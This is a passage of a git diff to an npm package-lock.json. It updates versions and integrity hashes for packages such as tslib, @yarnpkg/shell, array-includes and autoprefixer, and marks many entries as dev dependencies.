- "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q=="
+ "version": "1.14.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
+ "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==",
+ "dev": true
}
}
},
"@yarnpkg/lockfile": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/@yarnpkg/lockfile/-/lockfile-1.1.0.tgz",
- "integrity": "sha512-GpSwvyXOcOOlV70vbnzjj4fW5xW/FdUF6nQEt1ENy7m4ZCczi1+/buVUPAqmGfqznsORNFzUMjctTIp8a9tuCQ=="
+ "integrity": "sha512-GpSwvyXOcOOlV70vbnzjj4fW5xW/FdUF6nQEt1ENy7m4ZCczi1+/buVUPAqmGfqznsORNFzUMjctTIp8a9tuCQ==",
+ "dev": true
},
"@yarnpkg/parsers": {
- "version": "2.2.0",
- "resolved": "https://registry.npmjs.org/@yarnpkg/parsers/-/parsers-2.2.0.tgz",
- "integrity": "sha512-k1XZaWYRHl7wCj04hcbtzKfPAZbKbsEi7xsB1Ka8obdS6DRnAw7n0gZPvvGjOoqkH95IqWf+Vi7vV5RhlGz63Q==",
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/@yarnpkg/parsers/-/parsers-2.3.0.tgz",
+ "integrity": "sha512-qgz0QUgOvnhtF92kaluIhIIKBUHlYlHUBQxqh5v9+sxEQvUeF6G6PKiFlzo3E6O99XwvNEGpVu1xZPoSGyGscQ==",
+ "dev": true,
"requires": {
"js-yaml": "^3.10.0",
"tslib": "^1.13.0"
},
"dependencies": {
"tslib": {
- "version": "1.13.0",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz",
- "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q=="
+ "version": "1.14.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
+ "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==",
+ "dev": true
}
}
},
"@yarnpkg/pnp": {
- "version": "2.2.1",
- "resolved": "https://registry.npmjs.org/@yarnpkg/pnp/-/pnp-2.2.1.tgz",
- "integrity": "sha512-jrwJ3Q6M+nMs4n0O/GgxayU1Bq9mpLoZW2Mb8Nt2fs5whB0CeCr1/pGl9+yiCSjirv9jjp51TVFqF7OPvXy+gA==",
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/@yarnpkg/pnp/-/pnp-2.3.2.tgz",
+ "integrity": "sha512-JdwHu1WBCISqJEhIwx6Hbpe8MYsYbkGMxoxolkDiAeJ9IGEe08mQcbX1YmUDV1ozSWlm9JZE90nMylcDsXRFpA==",
+ "dev": true,
"requires": {
"@types/node": "^13.7.0",
- "@yarnpkg/fslib": "^2.2.1",
+ "@yarnpkg/fslib": "^2.4.0",
"tslib": "^1.13.0"
},
"dependencies": {
+ "@types/node": {
+ "version": "13.13.48",
+ "resolved": "https://registry.npmjs.org/@types/node/-/node-13.13.48.tgz",
+ "integrity": "sha512-z8wvSsgWQzkr4sVuMEEOvwMdOQjiRY2Y/ZW4fDfjfe3+TfQrZqFKOthBgk2RnVEmtOKrkwdZ7uTvsxTBLjKGDQ==",
+ "dev": true
+ },
"tslib": {
- "version": "1.13.0",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz",
- "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q=="
+ "version": "1.14.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
+ "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==",
+ "dev": true
}
}
},
"@yarnpkg/shell": {
- "version": "2.2.0",
- "resolved": "https://registry.npmjs.org/@yarnpkg/shell/-/shell-2.2.0.tgz",
- "integrity": "sha512-IuOZhYxTydNySqP2HlKkfm1QjgCAgVBUZz5O5rXXxpS4vTNSa0q6fwqvNUSrHSWGKH/jAmJS23YbJqislj5wjg==",
+ "version": "2.4.1",
+ "resolved": "https://registry.npmjs.org/@yarnpkg/shell/-/shell-2.4.1.tgz",
+ "integrity": "sha512-oNNJkH8ZI5uwu0dMkJf737yMSY1WXn9gp55DqSA5wAOhKvV5DJTXFETxkVgBQhO6Bow9tMGSpvowTMD/oAW/9g==",
+ "dev": true,
"requires": {
- "@yarnpkg/fslib": "^2.2.0",
- "@yarnpkg/parsers": "^2.2.0",
- "clipanion": "^2.4.4",
+ "@yarnpkg/fslib": "^2.4.0",
+ "@yarnpkg/parsers": "^2.3.0",
+ "clipanion": "^2.6.2",
"cross-spawn": "7.0.3",
"fast-glob": "^3.2.2",
+ "micromatch": "^4.0.2",
"stream-buffers": "^3.0.2",
"tslib": "^1.13.0"
},
"dependencies": {
+ "braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
+ "requires": {
+ "fill-range": "^7.0.1"
+ }
+ },
"cross-spawn": {
"version": "7.0.3",
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
"integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
+ "dev": true,
"requires": {
"path-key": "^3.1.0",
"shebang-command": "^2.0.0",
"which": "^2.0.1"
}
},
+ "fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
+ "requires": {
+ "to-regex-range": "^5.0.1"
+ }
+ },
+ "is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true
+ },
+ "micromatch": {
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz",
+ "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==",
+ "dev": true,
+ "requires": {
+ "braces": "^3.0.1",
+ "picomatch": "^2.2.3"
+ }
+ },
"path-key": {
"version": "3.1.1",
"resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
- "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="
+ "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
+ "dev": true
},
"shebang-command": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
"integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
+ "dev": true,
"requires": {
"shebang-regex": "^3.0.0"
}
@@ -2367,27 +4686,45 @@
"shebang-regex": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
- "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="
+ "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
+ "dev": true
+ },
+ "to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "requires": {
+ "is-number": "^7.0.0"
+ }
},
"tslib": {
- "version": "1.13.0",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz",
- "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q=="
+ "version": "1.14.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
+ "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==",
+ "dev": true
},
"which": {
"version": "2.0.2",
"resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
"integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+ "dev": true,
"requires": {
"isexe": "^2.0.0"
}
}
}
},
+ "abab": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.5.tgz",
+ "integrity": "sha512-9IK9EadsbHo6jLWIpxpR6pL0sazTXV6+SQv25ZB+F7Bj9mJNaOc4nCRabwd5M/JwmUa8idz6Eci6eKfJryPs6Q=="
+ },
"abbrev": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz",
- "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q=="
+ "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==",
+ "dev": true
},
"accepts": {
"version": "1.3.7",
@@ -2411,12 +4748,22 @@
"integrity": "sha512-HiUX/+K2YpkpJ+SzBffkM/AQ2YE03S0U1kjTLVpoJdhZMOWy8qvXVN9JdLqv2QsaQ6MPYQIuNmwD8zOiYUofLQ==",
"dev": true
},
- "agent-base": {
- "version": "4.3.0",
- "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-4.3.0.tgz",
- "integrity": "sha512-salcGninV0nPrwpGNn4VTXBb1SOuXQBiqbrNXoeizJsHrsL6ERFM2Ne3JUSBWRE6aeNJI2ROP/WEEIDUiDe3cg==",
+ "aggregate-error": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz",
+ "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==",
+ "dev": true,
"requires": {
- "es6-promisify": "^5.0.0"
+ "clean-stack": "^2.0.0",
+ "indent-string": "^4.0.0"
+ },
+ "dependencies": {
+ "indent-string": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
+ "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==",
+ "dev": true
+ }
}
},
"ajv": {
@@ -2452,6 +4799,7 @@
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/ansi-align/-/ansi-align-3.0.0.tgz",
"integrity": "sha512-ZpClVKqXN3RGBmKibdfWzqCY4lnjEuoNzU5T0oEFpfd/z5qJHVarukridD4juLO2FXMiwUQxr9WqQtaYa8XRYw==",
+ "dev": true,
"requires": {
"string-width": "^3.0.0"
},
@@ -2459,17 +4807,20 @@
"ansi-regex": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz",
- "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg=="
+ "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==",
+ "dev": true
},
"is-fullwidth-code-point": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
- "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8="
+ "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=",
+ "dev": true
},
"string-width": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
"integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
+ "dev": true,
"requires": {
"emoji-regex": "^7.0.1",
"is-fullwidth-code-point": "^2.0.0",
@@ -2480,6 +4831,7 @@
"version": "5.2.0",
"resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
"integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
+ "dev": true,
"requires": {
"ansi-regex": "^4.1.0"
}
@@ -2518,7 +4870,8 @@
"ansi-regex": {
"version": "2.1.1",
"resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
- "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8="
+ "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=",
+ "dev": true
},
"ansi-styles": {
"version": "3.2.1",
@@ -2531,12 +4884,14 @@
"ansicolors": {
"version": "0.3.2",
"resolved": "https://registry.npmjs.org/ansicolors/-/ansicolors-0.3.2.tgz",
- "integrity": "sha1-ZlWX3oap/+Oqm/vmyuXG6kJrSXk="
+ "integrity": "sha1-ZlWX3oap/+Oqm/vmyuXG6kJrSXk=",
+ "dev": true
},
"any-promise": {
"version": "1.3.0",
"resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz",
- "integrity": "sha1-q8av7tzqUugJzcA3au0845Y10X8="
+ "integrity": "sha1-q8av7tzqUugJzcA3au0845Y10X8=",
+ "dev": true
},
"anymatch": {
"version": "2.0.0",
@@ -2568,7 +4923,8 @@
"archy": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/archy/-/archy-1.0.0.tgz",
- "integrity": "sha1-+cjBN1fMHde8N5rHeyxipcKGjEA="
+ "integrity": "sha1-+cjBN1fMHde8N5rHeyxipcKGjEA=",
+ "dev": true
},
"are-we-there-yet": {
"version": "1.1.5",
@@ -2584,6 +4940,7 @@
"version": "1.0.10",
"resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
"integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+ "dev": true,
"requires": {
"sprintf-js": "~1.0.2"
}
@@ -2619,20 +4976,109 @@
"dev": true
},
"array-includes": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.1.tgz",
- "integrity": "sha512-c2VXaCHl7zPsvpkFsw4nxvFie4fh1ur9bpcgsVkIjqn0H/Xwdg+7fv3n2r/isyS8EBj5b06M9kHyZuIr4El6WQ==",
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.3.tgz",
+ "integrity": "sha512-gcem1KlBU7c9rB+Rq8/3PPKsK2kjqeEBa3bD5kkQo4nYlOHQCJqIJFqBXDEfwaRuYTT4E+FxA9xez7Gf/e3Q7A==",
"dev": true,
"requires": {
+ "call-bind": "^1.0.2",
"define-properties": "^1.1.3",
- "es-abstract": "^1.17.0",
+ "es-abstract": "^1.18.0-next.2",
+ "get-intrinsic": "^1.1.1",
"is-string": "^1.0.5"
+ },
+ "dependencies": {
+ "es-abstract": {
+ "version": "1.18.0",
+ "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz",
+ "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "es-to-primitive": "^1.2.1",
+ "function-bind": "^1.1.1",
+ "get-intrinsic": "^1.1.1",
+ "has": "^1.0.3",
+ "has-symbols": "^1.0.2",
+ "is-callable": "^1.2.3",
+ "is-negative-zero": "^2.0.1",
+ "is-regex": "^1.1.2",
+ "is-string": "^1.0.5",
+ "object-inspect": "^1.9.0",
+ "object-keys": "^1.1.1",
+ "object.assign": "^4.1.2",
+ "string.prototype.trimend": "^1.0.4",
+ "string.prototype.trimstart": "^1.0.4",
+ "unbox-primitive": "^1.0.0"
+ }
+ },
+ "has-symbols": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz",
+ "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==",
+ "dev": true
+ },
+ "is-callable": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz",
+ "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==",
+ "dev": true
+ },
+ "is-regex": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz",
+ "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "has-symbols": "^1.0.1"
+ }
+ },
+ "object-inspect": {
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz",
+ "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==",
+ "dev": true
+ },
+ "object.assign": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz",
+ "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.0",
+ "define-properties": "^1.1.3",
+ "has-symbols": "^1.0.1",
+ "object-keys": "^1.1.1"
+ }
+ },
+ "string.prototype.trimend": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz",
+ "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "define-properties": "^1.1.3"
+ }
+ },
+ "string.prototype.trimstart": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz",
+ "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "define-properties": "^1.1.3"
+ }
+ }
}
},
"array-union": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz",
- "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw=="
+ "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==",
+ "dev": true
},
"array-uniq": {
"version": "1.0.3",
@@ -2646,6 +5092,104 @@
"integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=",
"dev": true
},
+ "array.prototype.flatmap": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.2.4.tgz",
+ "integrity": "sha512-r9Z0zYoxqHz60vvQbWEdXIEtCwHF0yxaWfno9qzXeNHvfyl3BZqygmGzb84dsubyaXLH4husF+NFgMSdpZhk2Q==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.0",
+ "define-properties": "^1.1.3",
+ "es-abstract": "^1.18.0-next.1",
+ "function-bind": "^1.1.1"
+ },
+ "dependencies": {
+ "es-abstract": {
+ "version": "1.18.0",
+ "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz",
+ "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "es-to-primitive": "^1.2.1",
+ "function-bind": "^1.1.1",
+ "get-intrinsic": "^1.1.1",
+ "has": "^1.0.3",
+ "has-symbols": "^1.0.2",
+ "is-callable": "^1.2.3",
+ "is-negative-zero": "^2.0.1",
+ "is-regex": "^1.1.2",
+ "is-string": "^1.0.5",
+ "object-inspect": "^1.9.0",
+ "object-keys": "^1.1.1",
+ "object.assign": "^4.1.2",
+ "string.prototype.trimend": "^1.0.4",
+ "string.prototype.trimstart": "^1.0.4",
+ "unbox-primitive": "^1.0.0"
+ }
+ },
+ "has-symbols": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz",
+ "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==",
+ "dev": true
+ },
+ "is-callable": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz",
+ "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==",
+ "dev": true
+ },
+ "is-regex": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz",
+ "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "has-symbols": "^1.0.1"
+ }
+ },
+ "object-inspect": {
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz",
+ "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==",
+ "dev": true
+ },
+ "object.assign": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz",
+ "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.0",
+ "define-properties": "^1.1.3",
+ "has-symbols": "^1.0.1",
+ "object-keys": "^1.1.1"
+ }
+ },
+ "string.prototype.trimend": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz",
+ "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "define-properties": "^1.1.3"
+ }
+ },
+ "string.prototype.trimstart": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz",
+ "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "define-properties": "^1.1.3"
+ }
+ }
+ }
+ },
"arrify": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz",
@@ -2661,25 +5205,27 @@
"version": "0.2.4",
"resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz",
"integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==",
+ "dev": true,
"requires": {
"safer-buffer": "~2.1.0"
}
},
"asn1.js": {
- "version": "4.10.1",
- "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-4.10.1.tgz",
- "integrity": "sha512-p32cOF5q0Zqs9uBiONKYLm6BClCoBCM5O9JfeUSlnQLBTxYdTK+pW+nXflm8UkKd2UYlEbYz5qEi0JuZR9ckSw==",
+ "version": "5.4.1",
+ "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-5.4.1.tgz",
+ "integrity": "sha512-+I//4cYPccV8LdmBLiX8CYvf9Sp3vQsrqu2QNXRcrbiWvcx/UdlFiqUJJzxRQxgsZmvhXhn4cSKeSmoFjVdupA==",
"dev": true,
"requires": {
"bn.js": "^4.0.0",
"inherits": "^2.0.1",
- "minimalistic-assert": "^1.0.0"
+ "minimalistic-assert": "^1.0.0",
+ "safer-buffer": "^2.1.0"
},
"dependencies": {
"bn.js": {
- "version": "4.11.8",
- "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz",
- "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==",
+ "version": "4.12.0",
+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz",
+ "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==",
"dev": true
}
}
@@ -2726,7 +5272,8 @@
"ast-types": {
"version": "0.9.6",
"resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.9.6.tgz",
- "integrity": "sha1-ECyenpAF0+fjgpvwxPok7oYu6bk="
+ "integrity": "sha1-ECyenpAF0+fjgpvwxPok7oYu6bk=",
+ "dev": true
},
"astral-regex": {
"version": "1.0.0",
@@ -2774,18 +5321,18 @@
"dev": true
},
"autoprefixer": {
- "version": "9.7.6",
- "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-9.7.6.tgz",
- "integrity": "sha512-F7cYpbN7uVVhACZTeeIeealwdGM6wMtfWARVLTy5xmKtgVdBNJvbDRoCK3YO1orcs7gv/KwYlb3iXwu9Ug9BkQ==",
+ "version": "9.8.6",
+ "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-9.8.6.tgz",
+ "integrity": "sha512-XrvP4VVHdRBCdX1S3WXVD8+RyG9qeb1D5Sn1DeLiG2xfSpzellk5k54xbUERJ3M5DggQxes39UGOTP8CFrEGbg==",
"dev": true,
"requires": {
- "browserslist": "^4.11.1",
- "caniuse-lite": "^1.0.30001039",
- "chalk": "^2.4.2",
+ "browserslist": "^4.12.0",
